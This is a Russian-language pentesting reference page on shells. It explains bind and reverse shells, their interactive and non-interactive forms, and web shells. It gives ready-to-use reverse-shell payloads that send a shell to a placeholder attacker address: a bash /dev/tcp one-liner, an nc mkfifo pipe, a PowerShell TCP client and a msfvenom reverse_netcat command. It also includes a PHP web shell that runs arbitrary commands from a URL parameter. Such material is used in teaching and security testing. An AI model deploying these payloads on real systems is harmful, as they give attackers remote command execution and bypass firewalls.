Перейти к содержанию

Reverse shell


Shell - общее название текстового командного интерфейса (CLI). Используя такие утилиты как netcat (nc), socat, Metasploit --multi/handler, Msfvenom можно, используя специальный код, подключится к удаленной машине или заставить эту машину подключится к машине атакующего. В контексте управления через CLI удаленными машинами, различают два типа shell:

  1. Bind shell - Оболочка (payload) запускается на машине атакующего и подключается через вышеуказанные утилиты к удаленной машине (listener).

  2. Reverse shell - Оболочка (payload) запускается на удаленной машине и отправляет данные на машину атакующего (listener).

Понятно, что reverse shell является предпочтительными вариантом, так по своей природе позволяет обходить inbound правила файрвола.

Кроме типа подключения, shell можно разделить на интерактивные и неинтерактивные. Отличаются они друг от друга тем, что в неинтерактивной оболочке, нет возможности взаимодействовать с системой, к примеру нельзя нажать yes или no на задаваемые в процессе работы вопросы.

Подключения создаваемые по умолчанию через nc являются неинтерактивными и для приведения их к интерактивному виду нужно провести мероприятия по стабилизации оболочки. Подробнее о стабилизации для каждого инструмента написано на странице инструмента.

В общем случае reverse shell работает следующим образом:
на машине жертвы запукается payload для reverse shell представляющий из себя как правило команду которая, например через mkfifo, создает канал в который перенаправляется оболочка (/bin/bash или C:\WINDOWS\System32\cmd.exe). Далее этот канал отдается через nc на адрес и определенный порт на машине атаккующего.
на машине жертвы открывается соединение на исходящий порт машины атакующего. атакующий слушает этот порт (nc -l[n]vp $PORT) и может посылать команды которые будут выполнятся в переданной оболочке, а их вывод будет также приходить на слушаемый порт.

Примеры Payloads для reverse shell.

Linux interactive shell
/bin/bash -i >& /dev/tcp/<LOCAL-IP>/<LOCAL-PORT> 0&>1
Linux mkfifo
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
Win powershell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

msfvenom модуль reverse_netcat :

msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R

Про reverse shell еще написано на страницах о netcat, socat, msfvenom Различные payloads могут быть найдены на Payloads all the thing, а по адресу https://www.revshells.com/ вообще находится целый конструктор.


web shells

Скрипт который запускается на web сервере и позволяет выполнять произвольный код.
Попасть на сервер он может через html форму, или через параметры запроса.
По сути является одним из видов инъекций. Набор всевозможных web shell есть в kali в директории /usr/share/webshells

В качестве примера, простой php скрипт для RCE того кода который был ему передан через параметры:

<?php 
    echo "<pre>" . 
        shell_exec($_GET["cmd"]) . 
    "</pre>"; 
?>
использование:
?cmd=<RCE>

Будет больше пользы если просматривать результаты через source code сайта.